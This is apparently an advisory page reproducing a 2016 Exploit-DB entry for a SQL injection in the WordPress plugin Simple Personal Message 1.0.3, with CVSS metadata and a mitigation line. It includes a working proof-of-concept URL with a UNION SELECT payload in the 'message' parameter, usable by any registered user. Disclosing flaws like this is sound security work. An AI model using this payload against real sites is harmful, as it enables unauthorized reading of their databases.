Single Personal Message 1.0.3 – Plugin WordPress – Sql Injection

vendor:

Simple Personal Message

by:

Lenon Leite

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Simple Personal Message

Affected Version From: 1.0.3

Affected Version To: 1.0.3

Patch Exists: YES

Related CWE: N/A

CPE: a:wordpress:simple_personal_message:1.0.3

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 8

2016

Single Personal Message 1.0.3 – Plugin WordPress – Sql Injection

$_GET['message'] is not escaped, allowing for every registered user to access the URL http://target/wp-admin/admin.php?page=simple-personal-message-outbox&action=view&message=0%20UNION%20SELECT%201,2.3,name,5,slug,7,8,9,10,11,12%20FROM%20wp_terms%20WHERE%20term_id=1

Mitigation:

Ensure that user input is properly sanitized and escaped before being used in a SQL query.

Source

Exploit-DB raw data:

# Exploit Title: Single Personal Message 1.0.3 – Plugin WordPress – Sql Injection
# Date: 28/11/2016
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/simple-personal-message/
# Software Link: https://wordpress.org/plugins/simple-personal-message/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 1.0.3
# Tested on: Windows 8

1 - Description:

$_GET['message'] is not escaped. Is accessible for every registered user.

http://lenonleite.com.br/en/blog/2016/12/05/single-personal-message-1-0-3-plugin-wordpress-sql-injection/

2 - Proof of Concept:

1 - Login as regular user (created using wp-login.php?action=register):

2 - Access url:

http://target/wp-admin/admin.php?page=simple-personal-message-outbox&action=view&message=0%20UNION%20SELECT%201,2.3,name,5,slug,7,8,9,10,11,12%20FROM%20wp_terms%20WHERE%20term_id=1

3 - Timeline:

28/11/2016 - Discovered
28/11/2016 - vendor notified